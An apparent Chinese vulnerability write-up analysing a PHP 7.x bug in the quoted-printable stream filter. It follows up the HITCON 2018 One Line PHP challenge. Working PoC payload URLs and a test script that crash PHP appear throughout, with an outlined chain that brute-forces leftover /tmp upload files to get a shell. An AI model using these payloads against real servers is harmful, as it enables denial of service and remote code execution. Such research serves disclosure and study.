HITCON2018
由🍊出的One Line PHP Challenge
,利用了filter
编码与session.upload
搭配,从而构造出开头是@<?php
的文件流,达成了RCE。
在HITCON2018
的比赛过程中,我尝试了convert.quoted-printable-encode
这个filter,但是我在data部分传入超大ascii码的字符时(php://filter/convert.quoted-printable-encode/resource=data://,%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf
),发现服务器报了500
,在本地测试,发现报错为:
然后我就产生的疑问: 这么简单的功能,这么少的字符总数,为什么会分配这么多内存直到超过limit
?
赛后我稍微跟了一下,发现最终的原因是陷入strfilter_convert_append_bucket()
的循环里,每次倍增分配内存的大小。
循环主体为:
// 获取的返回值一直为 PHP_CONV_ERR_TOO_BIG
err = php_conv_convert(inst->cd, &pt, &tcnt, &pd, &ocnt);
...
case PHP_CONV_ERR_TOO_BIG: {
char *new_out_buf;
size_t new_out_buf_size;
new_out_buf_size = out_buf_size << 1;
/*
这里的new_out_buf_size为out_buf_size左移一位
也就是说如果out_buf_size为一个比较小的数字,下面的if恒不成立
*/
if (new_out_buf_size < out_buf_size) {
if (NULL == (new_bucket = php_stream_bucket_new(stream, out_buf, (out_buf_size - ocnt), 1, persistent))) {
goto out_failure; //只有这里能跳出循环
}
php_stream_bucket_append(buckets_out, new_bucket);
out_buf_size = ocnt = initial_out_buf_size;
out_buf = pemalloc(out_buf_size, persistent);
pd = out_buf;
} else {
//这里不断的在尝试alloc memory,因为陷入了循环,且分配大小每次倍增,所以很快就超过了限制
new_out_buf = perealloc(out_buf, new_out_buf_size, persistent);
pd = new_out_buf + (pd - out_buf);
ocnt += (new_out_buf_size - out_buf_size);
out_buf = new_out_buf;
out_buf_size = new_out_buf_size;
}
} break;
按照PHP开发人员正常的逻辑,生成PHP_CONV_ERR_TOO_BIG
错误就代表out_buf_size
是个大数,通过左移能丢失最高位变成一个小数,从而进入if
分支goto跳出循环,但是这里的问题是,err
为PHP_CONV_ERR_TOO_BIG
, out_buf_size
是个小数。
我们来回溯一下为什么是这样
#define php_conv_convert(a, b, c, d, e) ((php_conv *)(a))->convert_op((php_conv *)(a), (b), (c), (d), (e))
调用了 inst->cd->convert_op()
,也就是php_conv_qprint_encode_convert()
static php_conv_err_t php_conv_qprint_encode_convert(php_conv_qprint_encode *inst, const char **in_pp, size_t *in_left_p, char **out_pp, size_t *out_left_p)
{
php_conv_err_t err = PHP_CONV_ERR_SUCCESS;
unsigned char *ps, *pd;
size_t icnt, ocnt;
unsigned int c;
unsigned int line_ccnt;
unsigned int lb_ptr;
unsigned int lb_cnt;
unsigned int trail_ws;
int opts;
static char qp_digits[] = "0123456789ABCDEF";
line_ccnt = inst->line_ccnt;
opts = inst->opts;
lb_ptr = inst->lb_ptr;
lb_cnt = inst->lb_cnt;
if ((in_pp == NULL || in_left_p == NULL) && (lb_ptr >=lb_cnt)) {
return PHP_CONV_ERR_SUCCESS;
}
ps = (unsigned char *)(*in_pp);
icnt = *in_left_p;
pd = (unsigned char *)(*out_pp);
ocnt = *out_left_p;
trail_ws = 0;
for (;;) {
if (!(opts & PHP_CONV_QPRINT_OPT_BINARY) && inst->lbchars != NULL && inst->lbchars_len > 0) {
所有的传入参数如下:
按照预期,qprint支持的可编码字符应该传入到这个分支
但是因为我输入的字符中包含ascii码大于126的,导致进入了else
分支
https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L919
而inst->lbchars_len
可以看见是一个非常大的数,所以进入到了if (ocnt < inst->lbchars_len + 1)
这个分支,导致一直返回TOO BIG error
} else {
if (line_ccnt < 4) {
if (ocnt < inst->lbchars_len + 1) {
err = PHP_CONV_ERR_TOO_BIG;//BUG的成因
break;
}
*(pd++) = '=';
ocnt--;
line_ccnt--;
memcpy(pd, inst->lbchars, inst->lbchars_len);
pd += inst->lbchars_len;
ocnt -= inst->lbchars_len;
line_ccnt = inst->line_len;
}
if (ocnt < 3) {
err = PHP_CONV_ERR_TOO_BIG;
break;
}
*(pd++) = '=';
*(pd++) = qp_digits[(c >> 4)];
*(pd++) = qp_digits[(c & 0x0f)];
ocnt -= 3;
line_ccnt -= 3;
if (trail_ws > 0) {
trail_ws--;
}
CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt);
}
为什么lbchars_len
这么大呢?
我发现它最初赋值的位置是
static php_conv_err_t php_conv_qprint_encode_ctor(php_conv_qprint_encode *inst, unsigned int line_len, const char *lbchars, size_t lbchars_len, int lbchars_dup, int opts, int persistent)
{
if (line_len < 4 && lbchars != NULL) {
return PHP_CONV_ERR_TOO_BIG;
}
inst->_super.convert_op = (php_conv_convert_func) php_conv_qprint_encode_convert;
inst->_super.dtor = (php_conv_dtor_func) php_conv_qprint_encode_dtor;
inst->line_ccnt = line_len;
inst->line_len = line_len;
if (lbchars != NULL) {
inst->lbchars = (lbchars_dup ? pestrdup(lbchars, persistent) : lbchars);
inst->lbchars_len = lbchars_len;//这里赋值
} else {
inst->lbchars = NULL;
}
inst->lbchars_dup = lbchars_dup;
inst->persistent = persistent;
inst->opts = opts;
inst->lb_cnt = inst->lb_ptr = 0;
return PHP_CONV_ERR_SUCCESS;
}
inst
初始化的时候
case PHP_CONV_QPRINT_ENCODE: {
unsigned int line_len = 0;
char *lbchars = NULL;
size_t lbchars_len;
int opts = 0;
if (options != NULL) {
...
}
retval = pemalloc(sizeof(php_conv_qprint_encode), persistent);
if (lbchars != NULL) {
...
} else {
if (php_conv_qprint_encode_ctor((php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)) {
goto out_failure;
}
}
} break;
因为我们使用php://
没有对convert.quoted-printable-encode
附加options
, 所以这里的options
就是NULL
,,一直到了else
分支, 我们可以看到他传的参数为(php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)
至此,导致lbchars
为NULL
,导致lbchars_len
没有被赋值。
inst->lbchars_len
变量未初始化调用
因为inst->lbchars_len
是未初始化调用,是从内存中相应位置取出的值,PHP涉及到很多内存操作,那么有没有可能让我们控制整个值呢?
根据定义,我们知道lbchars_len长度为8bytes
,通过调整附加data
的长度,我发现会有一些request报文头的8bytes
被存储到inst->lbchars_len
继续调整,将url的param部分泄露了出来
这样我们就可以控制inst->lbchars_len
的值了,但是因为php://
的resource
内容不能包含\x00
,所以只能构造\x01
-\xff
的内容
再回头看
} else {
if (line_ccnt < 4) {
if (ocnt < inst->lbchars_len + 1) {
err = PHP_CONV_ERR_TOO_BIG;//BUG的成因
break;
}
*(pd++) = '=';
ocnt--;
line_ccnt--;
memcpy(pd, inst->lbchars, inst->lbchars_len);
pd += inst->lbchars_len;
ocnt -= inst->lbchars_len;
line_ccnt = inst->line_len;
}
if (ocnt < 3) {
err = PHP_CONV_ERR_TOO_BIG;
break;
}
*(pd++) = '=';
*(pd++) = qp_digits[(c >> 4)];
*(pd++) = qp_digits[(c & 0x0f)];
ocnt -= 3;
line_ccnt -= 3;
if (trail_ws > 0) {
trail_ws--;
}
CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt);
}
可以发现memcpy
的位置第二个参数是NULL
,第一个,第三个参数可控,如果被调用,会导致一个segfault
,从而在tmp
下驻留文件,但是我们无法使用%00
,如何让ocnt < inst->lbchars_len + 1
不成立呢?(ocnt
为data的长度),这里就要利用整数溢出,将lbchars_len + 1
溢出到0
inst->lbchars_len
可控且存在整数溢出
所以控制可控部分为\xff\xff\xff\xff\xff\xff\xff\xff
即可
以下poc会把inst->lbchars_len
赋值成12345678(string)
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA87654321AAAAAAAAAAAAAAAAAAAAAAAA
如果要进入到memcpy
,需要把相应部分替换成%ff
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
此POC可导致PHP异常退出,tmp下的文件来不及回收,从而可以利用这些临时文件getshell.
(生成62**3个文件,再去爆破)(小技巧: 每次请求可以发送20个文件)
根据ocnt < inst->lbchars_len + 1
这个判断条件,因为左式是data长度,是可控的,右侧是可以内存泄露的内容转int+1,所以存在着内存泄露的风险,不过十分难控制,而且泄露的大多是没用的(因为request报文存储在其附近)
memcpy()
第一个第三个参数可控,但是第二个参数因为是NULL
,导致现在只能利用其segfault,所以很可惜(审了一下附近的代码,暂时没发现因这个可控参数引起的其他漏洞)
test code
<?php
file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));
?>
7.3
7.2
7.1
7.0
全版本通杀PHP>7